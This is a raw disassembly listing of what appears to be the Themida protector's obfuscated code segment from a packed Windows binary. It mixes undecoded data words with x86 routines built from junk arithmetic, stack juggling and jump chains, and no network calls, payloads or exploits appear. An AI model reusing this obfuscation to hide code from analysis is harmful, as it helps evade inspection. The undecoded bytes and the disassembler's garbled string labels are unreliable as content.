		dd 0B58B0E75h, 5E74D97h, 0A41F858Dh, 0D0FF05E9h, 41F4858Dh
		dd 0D0FF05E7h, 261DBD83h, 750205E7h, 0F1A58B2Fh, 8B05E703h
		dd 0E70B7985h, 24048905h, 1B3985C7h, 105E7h, 0B58B0000h
		dd 5E74D9Bh, 2C65AD8Bh,	1B805E7h, 0C2000000h, 0EB000Ch
		dd 1B3985C7h, 105E7h, 0A58B0000h, 5E703F1h, 2245B58Bh
		dd 0AD8B05E7h, 5E72C65h, 0CC2C033h, 0A9BD8300h,	5E70Eh
		dd 0BD830F74h, 5E70619h, 0FF067400h, 0E7061995h, 97B58B05h
		dd 0C305E74Dh, 58A6BB66h, 0F61BA66h, 1CF19D89h,	12E905E7h
		dd 0CA000000h, 0A35720EFh, 352C4032h, 4A319F3Ah, 0ACDF109Dh
		dd 0BA95h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 91CD40C3h, 28B5B065h
		db 2Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_545CC9
; ---------------------------------------------------------------------------

loc_545CC7:				; CODE XREF: Themida_:00545CCCj
		inc	eax
		inc	edi

loc_545CC9:				; CODE XREF: Themida_:00545CC5j
		cmp	byte ptr [edi],	0
		jnz	short loc_545CC7
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_545CF8
; ---------------------------------------------------------------------------

loc_545CD5:				; CODE XREF: Themida_:00545CFAj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_545CED
; ---------------------------------------------------------------------------

loc_545CEA:				; CODE XREF: Themida_:00545CF0j
		mul	ebx
		dec	esi

loc_545CED:				; CODE XREF: Themida_:00545CE8j
		cmp	esi, 0
		ja	short loc_545CEA
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_545CF8:				; CODE XREF: Themida_:00545CD3j
		or	eax, eax
		jnz	short loc_545CD5
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 3FCh
		dd 0E70B719Dh, 0D9BF0F05h, 56E9C18Bh, 0C300021Fh, 3F005AFCh
		dd 68025A00h, 12FFh, 0C3000000h, 0D1005AFCh, 28005AF7h
		dd 46025A00h, 2000002h,	1000000h, 0
		dd 81000000h, 0FA6CE2h,	4 dup(0)
		dd 2D000000h, 0EE0054CCh, 2000551Bh, 0CA0054B7h, 9B0054E5h
		dd 170054E3h, 9800547Bh, 460054BCh, 7A005463h, 59005487h
		dd 0AB0054A6h, 0AF0054B8h, 0F80054D5h, 0F5005500h, 0A6005516h
		dd 270054C7h, 7500548Eh, 0AB00546Fh, 2005504h, 3E00548Bh
		dd 0E5005465h, 6C0054EBh, 0FF00546Eh, 590054CFh, 0C6005475h
		dd 89005523h, 18005503h, 0CB0054E6h, 2A0054B5h,	4B0054A6h
		dd 0C4005473h, 0E20054F3h, 120054FEh, 3D0054EFh, 270054B9h
		dd 6B0054E6h, 8E005467h, 7C0054FCh, 580054D2h, 90054FAh
		dd 0CD005486h, 5D005512h, 830054D5h, 3D0054E5h,	0F70054B7h
		dd 0E5005499h, 0F70054F1h, 47005506h, 81005462h, 6300547Bh
		dd 570054C5h, 96005461h, 7F0054C0h, 85005475h, 7005519h
		dd 650054A1h, 1F0054D5h, 1A0054D9h, 1C005461h, 0BB005506h
		dd 650054CAh, 0B70054C3h, 5C0054D1h, 52005508h,	0C0054C5h
		dd 910054BBh, 0F90054A7h, 1E0054DEh, 91005521h,	4200546Dh
		dd 7A0054ABh, 0D10054BFh, 0D7005504h, 770054AEh, 3F0054CDh
		dd 2F0054D6h, 0FB005520h, 61005463h, 640054DDh,	4F005519h
		dd 900054D4h, 6C005493h, 0E00054C1h, 4C005470h,	0CC005522h
		dd 0C2005467h, 1A005465h, 0A00054C6h, 940054F7h, 4C00546Ch
		dd 0CD0054EFh, 990054A8h, 0EF0054E9h, 0E20054B7h, 4C0054C9h
		dd 5C0054A6h, 0C4005519h, 77005500h, 17005495h,	23005513h
		dd 40054CDh, 5A0054ECh,	0FE005468h, 41005497h, 8005486h
		dd 0F00054FAh, 0C60054A2h, 22005515h, 1400551Ah, 9E00546Bh
		dd 7A0054DCh, 0A90054ABh, 580054E8h, 0B0054CCh,	0ED0054DFh
		dd 7D0054B8h, 61005479h, 2F0054C8h, 600054E2h, 0B4005461h
		dd 7C0054D3h, 7200546Eh, 0C1005523h, 7B005501h,	3B0054C9h
		dd 6005479h, 4A00546Eh,	9900547Dh, 0BC0054F3h, 27005474h
		dd 10054D6h, 2900551Dh,	7A0054FEh, 70054F1h, 0C60054D4h
		dd 2A005463h, 90005479h, 110054EBh, 67005523h, 0C0054DFh
		dd 0F200546Ch, 1400551Dh, 0F2005489h, 0D000547Ah, 410054DDh
		dd 94005491h, 0C9005475h, 520054BFh, 0B900549Ch, 11005517h
		dd 0D7005510h, 69005490h, 13005473h, 0C200551Fh, 0C9005475h
		dd 92005482h, 290054E3h, 2F0054AFh, 0AA0054F2h,	61005509h
		dd 500054BEh, 6A0054ECh, 0B20054B8h, 0C4005488h, 7B0054EFh
		dd 0B40054C1h, 3A00550Fh
		db 0D0h, 54h, 0
; ---------------------------------------------------------------------------

loc_545FF7:				; CODE XREF: Themida_:00572B2Bj
					; Themida_:00599B64j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E77D7Eh
		mov	eax, edi
		add	edi, 5E77A96h
		cmp	eax, [edi+2Ch]
		jnz	short loc_546015
		jmp	short loc_546028
; ---------------------------------------------------------------------------

loc_546015:				; CODE XREF: Themida_:00546011j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_546024
; ---------------------------------------------------------------------------

loc_54601F:				; CODE XREF: Themida_:00546026j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_546024:				; CODE XREF: Themida_:0054601Dj
		or	ecx, ecx
		jnz	short loc_54601F

loc_546028:				; CODE XREF: Themida_:00546013j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_546035:				; CODE XREF: Themida_:0054603Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_546035

loc_54603E:				; CODE XREF: Themida_:loc_546D8Cj
					; Themida_:00548526j ...
		lodsb
		jmp	loc_54FAD8
; ---------------------------------------------------------------------------
		dd 7F54FA68h, 0C258E969h, 75040000h, 44B15166h,	6E8AE9h
		dd 0DDE95800h, 2C00008Ah, 4D800BAh, 3EB753BAh, 8065EF80h
		dd 0EFC008E7h, 2EFC008h, 282DEF80h, 0B72C5BF8h,	0FFFFCDE9h
		dd 5BDA01FFh, 5C241487h, 24048B66h, 5C2168h, 242C8900h
		dd 0B951E589h, 52B86BADh, 20EBE953h, 0E9500000h, 7168h
; ---------------------------------------------------------------------------

loc_5460A8:				; CODE XREF: Themida_:0054FF95j
		sub	dword ptr [esp+4], 1F7D107Ah
		add	dword ptr [esp+4], 578867C5h
		push	edi
		jmp	loc_55168E
; ---------------------------------------------------------------------------

loc_5460BE:				; CODE XREF: Themida_:005474EEj
		push	ebp
		jmp	loc_550BC5
; ---------------------------------------------------------------------------
		dd 2424D366h, 0FF70E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5460CE:				; CODE XREF: Themida_:0054C227j
		mov	edi, 65C35902h
		xor	edi, 20AA71D9h
		add	ecx, edi
		pop	edi
		and	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 201537FFh
		sub	ebp, esi
		pop	esi
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_548EBD
; ---------------------------------------------------------------------------
		dd 5701C383h, 827FE9h, 0C3805C00h, 1D9CE969h, 14890000h
		dd 5C8FE924h, 8B660000h, 83572404h, 248904ECh, 24048124h
		dd 4, 0B7DE9h, 0EC835600h, 24248904h, 4240483h,	85EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_546141:				; CODE XREF: Themida_:00551837j
		mov	eax, 5C3F1717h
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54DF86
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E99C241Ch, 0DBh, 0F3B252ACh, 66A0F280h, 2875B050h
		dd 0C05866C2h, 0C2FE06EAh, 1AEA80h, 284BE9D0h, 0B9510000h
		dd 26E8567Ch, 0E959CB31h, 8346h, 24048158h, 66B01919h
		dd 81240401h, 1919242Ch, 48166B0h, 0C901CE24h, 242C812Eh
		dd 70A92297h, 9A43E9h, 0F5295D00h, 24348B5Eh, 4C481h, 2C870000h
		dd 9665C24h, 0E99C2404h, 0FFFFFE72h, 1116BA52h,	0DCE933DEh
		dd 30000075h, 442C5AD3h, 5B82E9h, 67D52D00h, 0C531AAA2h
		dd 58D0E9h, 81F13100h, 4ECh, 63A8E900h,	0C2810000h, 4
		dd 5204C283h, 42474FFh,	24048F5Ah, 4C2815Ch, 56000000h
		dd 0B88BA52h, 7CBE25DBh, 1DA24F4h, 1BE95AD6h, 89000083h
		dd 0E95557E3h, 6E7Ah, 69C8F781h, 3CE921B1h, 0E900001Bh
		dd 0FFFFFDFEh, 8E9482Ch, 0FF00000Ah, 68582434h,	97Ch, 8007E9h
		dd 95F78100h, 8106451Eh, 4D66DBE7h, 6EF7813Fh, 297FF356h
		dd 0F6815FFEh, 59CD00E1h, 4C22BB53h, 8BE9692Ch,	5400007Fh
		dd 40558h, 4050000h, 87000000h,	248B2404h, 4B826824h, 0C2E90000h
		dd 5100003Fh, 0F180AAB1h, 536652DBh, 0DE8865B3h, 0CDE95B66h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5462AB:				; CODE XREF: Themida_:0054F03Bj
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	32FB5566h
		pop	esi
		push	ebx
		mov	ebx, 0CD08AA9Ah
		push	edi
		jmp	loc_54CBA0
; ---------------------------------------------------------------------------

loc_5462D3:				; CODE XREF: Themida_:0054AC90j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	3DB4h
		mov	[esp], eax
		push	1BECh
		mov	[esp], ebx
		jmp	loc_54F6DE
; ---------------------------------------------------------------------------

loc_5462F7:				; CODE XREF: Themida_:0054931Fj
		add	eax, edi
		jmp	loc_54E49C
; ---------------------------------------------------------------------------
aAs		db '²íé,·',0
		dd 4B85000h, 1000000h, 68E958C6h, 5900008Bh, 88F48850h
		dd 0C05A58E1h, 4EE903E1h, 66000032h, 2404BB0Fh,	0FD10E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548CA7
; ---------------------------------------------------------------------------
		dw 7734h
		dd 8B58C300h, 0C483240Ch, 6536E904h, 0F660000h,	895702B6h
		dd 6703E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546352:				; CODE XREF: Themida_:0054FDC6j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54AEFF
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 3E56E28h
		jmp	loc_54A871
; ---------------------------------------------------------------------------
		db 52h
		dd 888AB753h, 241C8BFAh, 815A5452h, 4C2h, 4C28300h, 5C241487h
		dd 0B2525066h, 0ADB4E3h, 0E2305AD4h, 188BE9h, 0B9515500h
		dd 47BC4958h, 52DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5463B1:				; CODE XREF: Themida_:00547B9Bj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54CEB2
; ---------------------------------------------------------------------------
aMfsrs_		db '¬fSRé¸_',0
		dw 8000h
aTxsgo		db '’X郮',0
		align 4
		dd 9C6A4E0Dh, 8DE9511Ah, 86000023h, 52CDFEC5h, 882AB050h
		dd 24048BC6h, 3004C483h, 8AE95AF5h, 0AC0000A2h,	8956D830h
		dd 1215E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546406:				; CODE XREF: Themida_:00551693j
		or	edi, 10EA5D07h
		jmp	loc_54D2B7
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0D0h
aSsx		db 'Ã<áéå#',0
		align 4
		dd 0F323862Dh, 0AFFBE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546426:				; CODE XREF: Themida_:0054F5BFj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_54DEB4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7EFC1DFh, 7762BA52h,	0D72932C5h, 1756E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54644A:				; CODE XREF: Themida_:0054F72Bj
		push	ebp
		jmp	loc_549515
; ---------------------------------------------------------------------------

loc_546450:				; CODE XREF: Themida_:0055083Dj
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 682E54F3h
		inc	ecx
		inc	ecx
		jmp	loc_5485F6
; ---------------------------------------------------------------------------

loc_54646D:				; CODE XREF: Themida_:0055078Bj
		shl	ebp, 7
		push	4F6Dh
		mov	[esp], ecx
		push	ebx
		jmp	loc_54C1D1
; ---------------------------------------------------------------------------
		dw 6656h
		dd 6624D8BEh, 665EF789h, 0F96AEF81h, 6FDDE9h
		db 0
; ---------------------------------------------------------------------------

loc_546491:				; CODE XREF: Themida_:0054A8AEj
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_54944C
; ---------------------------------------------------------------------------
aGsF		db 'GéÝ”',0
		align 4
		dd 5FF83166h, 0FFC8E957h, 0A925FFFFh, 512DE921h, 145F51B9h
		dd 81D9F725h, 83916AE9h, 0EF2E96Fh, 0C6310000h,	582434FFh
		dd 0E11E955h, 34FF0000h, 0C4835B24h, 50DDF604h,	0C50069B0h
		dd 8324048Bh, 0E83004C4h, 592434FFh, 4EC81h, 34890000h
		dd 81E68924h, 4C6h, 4C68300h, 8B243487h, 0AE682424h, 89000013h
		dd 0CFE92414h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54651B:				; CODE XREF: Themida_:005501BCj
		sub	edx, 28281CBEh
		add	edx, 208D74E0h
		add	edx, 539A71A9h
		shr	edx, 5
		push	edx
		jmp	loc_54DCDA
; ---------------------------------------------------------------------------

loc_546536:				; CODE XREF: Themida_:005479B0j
		xchg	eax, ecx
		xor	ecx, esi
		jmp	loc_54CF25
; ---------------------------------------------------------------------------
		dw 32FFh
		dd 0FFFAF9E9h, 4EB83FFh, 5C241C87h, 0E9242C89h,	0EDBh
		dd 98094EB9h, 2E9C119h,	3EE4E9h, 2434FF00h, 306EE9h
		db 0
; ---------------------------------------------------------------------------

loc_546569:				; CODE XREF: Themida_:0054A76Ej
		push	edi
		push	4F32h
		mov	[esp], ebx
		mov	ebx, 19E52736h
		mov	edi, 0FE601FCDh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 11C4316Ah
		inc	edi
		push	ebp
		mov	ebp, 33A5778Ah
		xor	edi, ebp
		pop	ebp
		add	edi, 0E653F01Dh
		and	eax, edi
		jmp	loc_546BC7
; ---------------------------------------------------------------------------

loc_5465A4:				; CODE XREF: Themida_:0054D060j
		pop	eax
		or	eax, 6C9B6842h
		add	eax, 3E0456CBh
		mov	ecx, eax
		jmp	loc_549E92
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048F04h, 2CEAE95Ch, 8B660000h, 0E2E92404h,	8B000033h
		dd 0C481241Ch, 4, 2474FF50h, 24048B04h,	58CEE9h, 0BF575100h
		dd 6C67179Bh, 0AD78F8B9h, 0E9F929C4h, 1B54h, 0C09FE380h
		dd 506602E3h, 0E308B8B4h, 1021E9h
		db 0
; ---------------------------------------------------------------------------

loc_546605:				; CODE XREF: Themida_:00548B71j
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_54FAFE
; ---------------------------------------------------------------------------
		db 59h,	2Dh, 4
		dd 120D415h, 150405C8h,	535220D4h, 472CE9h
		db 0
; ---------------------------------------------------------------------------

loc_546629:				; CODE XREF: Themida_:0054AED2j
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		jmp	loc_54CDCF
; ---------------------------------------------------------------------------
		dw 20BDh
		dd 816DB959h, 0DA148BF5h, 36C2E925h, 86B80000h,	0F7115B6Bh
		dd 42D0E9D0h, 70BD0000h, 0E961207Eh, 335Ch, 0EF80D7B2h
		dd 80D728A2h, 5A66A2C7h, 0C7FED7F6h, 0D076C780h, 0E08950EFh
		dd 405h, 4E88300h, 81FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_546685:				; CODE XREF: Themida_:0054CD99j
		mov	[esp], ebp
		push	edi
		jmp	loc_54FD9C
; ---------------------------------------------------------------------------

loc_54668E:				; CODE XREF: Themida_:0054F79Bj
		push	eax
		jmp	loc_549EF8
; ---------------------------------------------------------------------------

loc_546694:				; CODE XREF: Themida_:005492A7j
		mov	eax, 1Ch
		add	eax, edi
		jmp	loc_551F4A
; ---------------------------------------------------------------------------
		dd 35045B58h, 4664E9h, 0FC00900h, 4C2A84h, 0FEBA5200h
		dd 21000000h, 148B1C57h, 66406824h, 1C890000h, 0A0E95424h
		dd 660000B7h, 0E9240C89h, 7E17h, 42474FFh, 759DE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5466DE:				; CODE XREF: Themida_:0054E0B7j
		mov	ebx, 50212D9Fh
		add	esi, ebx
		pop	ebx
		shr	esi, 6
		push	edx
		mov	edx, 40FB4B92h
		sub	edx, 2FDF9CC8h
		add	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		mov	ebx, edx
		pop	edx
		add	ebx, edi
		mov	ecx, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		push	37CCh
		jmp	loc_5475FD
; ---------------------------------------------------------------------------

loc_546719:				; CODE XREF: Themida_:005467E3j
		xor	ebp, 0FCC8EC03h
		jmp	loc_550227
; ---------------------------------------------------------------------------
		dd 4B8h, 8BC30100h, 0C4832404h,	4EB8104h, 53000000h, 42474FFh
		dd 24048F5Bh, 240C895Ch, 28B9h,	7AC18100h, 169BF7Dh, 7AB850F9h
		dd 2969BF7Dh, 198858C1h, 241C8B59h, 4C481h, 0D3E90000h
		dd 66FFFFF8h, 6824048Bh, 75CAh,	0E9240489h, 3EA0h, 42474FFh
		dd 24048F5Eh, 0B6BDE9h,	0BE565300h, 4B7D4E0Dh, 18C8EE81h
		dd 0F3890C1Eh, 0E3C3815Eh, 29C87F31h, 0F2815BDAh, 16BAFA83h
		dd 5AE9D589h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5467AF:				; CODE XREF: Themida_:005507EBj
		push	54C5h
		jmp	loc_54E056
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 4C281h, 0E9530000h, 4F94h, 4384E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5467D2:				; CODE XREF: Themida_:005490A0j
		add	ecx, 1
		dec	ecx
		jmp	loc_54A818
; ---------------------------------------------------------------------------

loc_5467DE:				; CODE XREF: Themida_:0054A233j
		shr	ebp, 5
		neg	ebp
		jmp	loc_546719
; ---------------------------------------------------------------------------

loc_5467E8:				; CODE XREF: Themida_:0054B968j
		sub	esi, 4F2E5A81h
		xor	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54E6C4
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 56h
		dd 813D4746h, 0DA5FD5F7h, 81E7D10Ch, 3A3302EFh,	0B1BEE963h
		dd 34FF0000h, 48F3E924h, 1C330000h, 24248B24h, 4AB0F66h
		dd 0BE99C24h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546833:				; CODE XREF: Themida_:00549F86j
		push	ecx
		jmp	loc_550975
; ---------------------------------------------------------------------------
aAiSt		db '³Í€ë\ét',1Bh,0
		dw 5A00h
aXsva		db 'Xé‚',0
		align 2
aHb		db 'h',9,0
		dw 8900h
		dd 0EC832414h, 10A2E904h, 34FF0000h, 47E95824h,	810000AAh
		dd 9BC0F0F2h, 5AD70185h, 4B850h, 0C7010000h, 0A333E9h
		db 0
; ---------------------------------------------------------------------------

loc_546879:				; CODE XREF: Themida_:0055239Ej
		push	ebx
		jmp	loc_5483AB
; ---------------------------------------------------------------------------
		db 81h
		dd 2504C9EEh, 7DBCE923h, 1660000h, 0C38166C3h, 816622BBh
		dd 5605EFEBh, 75686650h, 6658660Eh, 66013935h, 66214905h
		dd 6658C689h, 2E77F681h, 7CF68166h, 0F6816634h,	16601F0h
		dd 0B70F5EF3h, 0E18951C0h, 4BD55h, 0E9010000h, 4E9835Dh
		dd 5C240C87h, 89240C89h, 4C181E1h, 50000000h, 37E9E9h
		dd 5FFB8900h, 1E97C381h, 0DF317229h, 0E9DFF75Bh, 13D6h
		dd 835BDE01h, 72E904EEh, 0C1000060h, 0F74008E0h, 0FFC083D0h
		dd 0D907BF57h, 1F055C20h, 1385115h, 5DE953F8h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54691F:				; CODE XREF: Themida_:0054C40Cj
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_546AF2
; ---------------------------------------------------------------------------

loc_546934:				; CODE XREF: Themida_:00548AA2j
		add	esp, 4
		jmp	loc_54C485
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7B7B290Fh, 4246C01h,	242C815Dh, 43AA3C30h, 30242C81h
		dd 811EB665h, 74CB242Ch, 4016DD6h, 24048124h, 6DD674CBh
		dd 30240481h, 511EB665h, 0AA3C30B9h, 244C0143h,	2C815904h
		dd 7B290F24h, 0BF57507Bh, 610D4313h, 0B75BE957h, 0C1810000h
		dd 2B8E5E65h, 8B66E9h, 52EB8100h, 8154C67Bh, 583109EBh
		dd 70E0E94Ch, 0E9500000h, 51BEh, 0C004E5C0h, 0EDC006EDh
		dd 6BCD8008h, 872ED80h,	9AE959EEh
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5469C7:				; CODE XREF: Themida_:00551B79j
		push	5DE5h
		mov	[esp], ecx
		push	edx
		mov	edx, 0E6159E4h
		jmp	loc_54E620
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 2EC8184h, 0E9000000h, 387Fh,	835BDE01h, 0C4E902C6h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5469F3:				; CODE XREF: Themida_:0054E1E6j
		mov	eax, esi
		jmp	loc_5506CE
; ---------------------------------------------------------------------------
		dw 166h
		dd 3C2D66D8h, 3E2D666Fh, 0C9056604h, 37996815h,	0C6E90000h
		dd 66000018h, 55F3EF81h, 1C7EE9h, 24248B00h, 24BB53h, 0EE810000h
		dd 7B5D13C2h, 1B99B850h, 0D52D1ACFh, 29DC42EAh,	24048BC6h
		dd 5504C483h, 3204BB53h, 0E3C12D09h, 81D3F703h,	0A7005FEBh
		dd 5BDD8989h, 0B50EE9h,	242C3300h, 0AABAE95Ch, 63680000h
		dd 89000058h, 4832424h,	0E9590424h, 3021h, 6866CEFEh, 896630B5h
		dd 0FFB1240Ch, 5966CE28h, 0E6C0D6F6h, 0F6E68002h, 514DEE80h
		dd 88F48850h, 3AE958E1h, 29000016h, 2434FFE8h, 4C4815Dh
		dd 51000000h, 0DD41A468h, 53BE922h, 0C1830000h,	7AEBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546ABA:				; CODE XREF: Themida_:0054C2F0j
		mov	[esp], ebx
		mov	ebx, 27297AD6h
		mov	edx, 0D8D6852Bh
		push	ebp
		mov	ebp, 75E403B9h
		add	ebp, 64442FD8h
		push	0
		jmp	loc_547247
; ---------------------------------------------------------------------------

loc_546ADD:				; CODE XREF: Themida_:0054CD44j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_547578
; ---------------------------------------------------------------------------
		db 31h,	0F1h, 31h
		dd 0F6FBE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546AF2:				; CODE XREF: Themida_:0054692Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	ebx, ebx
		jnz	loc_54B4CB
		push	ecx
		push	esp
		jmp	loc_54D7E1
; ---------------------------------------------------------------------------
		dd 0E932FF64h, 0FFFFF522h
; ---------------------------------------------------------------------------

loc_546B1C:				; CODE XREF: Themida_:0054A921j
		pop	edi
		sub	esp, 4
		jmp	loc_54E753
; ---------------------------------------------------------------------------
		dd 0EFC38166h, 160FE905h, 0FF500000h, 58042474h, 5C24048Fh
		dd 9C240CFEh, 0FFF4F9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546B45:				; CODE XREF: Themida_:00550C97j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_54C016
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0EDh
		dd 0E965AC01h, 3DA0h, 0BC2F381h, 0DF016880h, 2B9515Bh
		dd 1000000h, 240C8BCFh,	88D1E9h
		db 0
; ---------------------------------------------------------------------------

loc_546B75:				; CODE XREF: Themida_:0054DF4Bj
		mov	esp, [esp]
		jmp	loc_54AF58
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 2474FF24h, 240C8B04h, 8F04C483h, 0ABE92404h,	68FFFFF4h
		dd 5B68h, 8904EC83h, 4812424h, 424h, 2E6E900h, 0C4810000h
		dd 4, 830BB53h,	0C3816A9Fh, 5FDA2AA1h, 4065E381h, 0E9E92B80h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546BC7:				; CODE XREF: Themida_:0054659Fj
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_5470C8
; ---------------------------------------------------------------------------
		dw 0CB00h
aFyaT		db 'fY€Ã’',0
		dw 80C3h
		dd 0EB8092EBh, 57B15177h, 8003E9C0h, 0E9C0FFC1h, 1BE98008h
		dd 0B252D1F6h, 5AD10078h, 9C41E9h, 0F0315800h, 0E924348Bh
		dd 926h, 24048B66h, 815A5452h, 4ECh, 240C8900h,	0CE9BE56h
		dd 0E9517FE7h, 2C96h
; ---------------------------------------------------------------------------

loc_546C28:				; CODE XREF: Themida_:00547ACEj
		mov	esi, 761C639Dh
		mov	ecx, esi
		pop	esi
		jmp	loc_54E1EB
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5204C483h, 0E9EB8953h, 0B2C7h, 5C14B951h, 19E960A5h
		dd 2C00005Fh, 0E9F00056h, 82D6h, 405h, 54C1E900h, 2C870000h
		dd 22B6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546C6A:				; CODE XREF: Themida_:00547B7Cj
		xor	ah, 75h
		and	ah, 0EBh
		inc	ah
		shr	ah, 5
		jmp	loc_547DAF
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 26692E87h, 6C36EB81h, 0DD89FFE6h, 0A0D4E9h, 0E9DBF700h
		dd 1144h, 240C8B66h, 3FF768h, 240C8900h, 3ECEE9h, 240C8700h
		dd 20D3E95Ch, 685F0000h, 5601h,	57240C89h, 0F20D58BFh
		dd 4EFC156h, 0DEEF814Fh, 0E92CF341h, 4641h
; ---------------------------------------------------------------------------

loc_546CCC:				; CODE XREF: Themida_:0054E46Ej
		sub	ebp, 6DBB1238h
		add	ebp, edi
		add	ebp, 6DBB1238h
		mov	edi, [esp]
		push	esi
		jmp	loc_54D0E4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFF495E9h, 24148BFFh, 4EC8350h, 83242489h, 58042404h
		dd 5F83E953h, 4890000h,	33E95224h, 810000A9h, 4C1h, 5DEBE900h
		dd 48B0000h, 0E7895724h, 4C781h, 0E9520000h, 52AEh
; ---------------------------------------------------------------------------

loc_546D24:				; CODE XREF: Themida_:00551023j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_548AFC
; ---------------------------------------------------------------------------
		dw 0D0BEh
		dd 8954D77Ah, 6B99E9F5h, 51500000h, 911388B9h, 28BA526Ch
		dd 81217660h, 7D6713C2h, 3BC2813Ch, 0C164CB78h,	0DAF708E2h
		dd 0A9FEA81h, 0EA8135D3h, 0F4B9188Fh, 0F75AD109h, 4E1C1D1h
		dd 5106E1C1h, 0E92414F7h, 7C63h, 51151FBBh, 7ED0E938h
		dd 0E9520000h, 9FE6h
; ---------------------------------------------------------------------------

loc_546D8C:				; CODE XREF: Themida_:00550FD1j
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	esp
		pop	esi
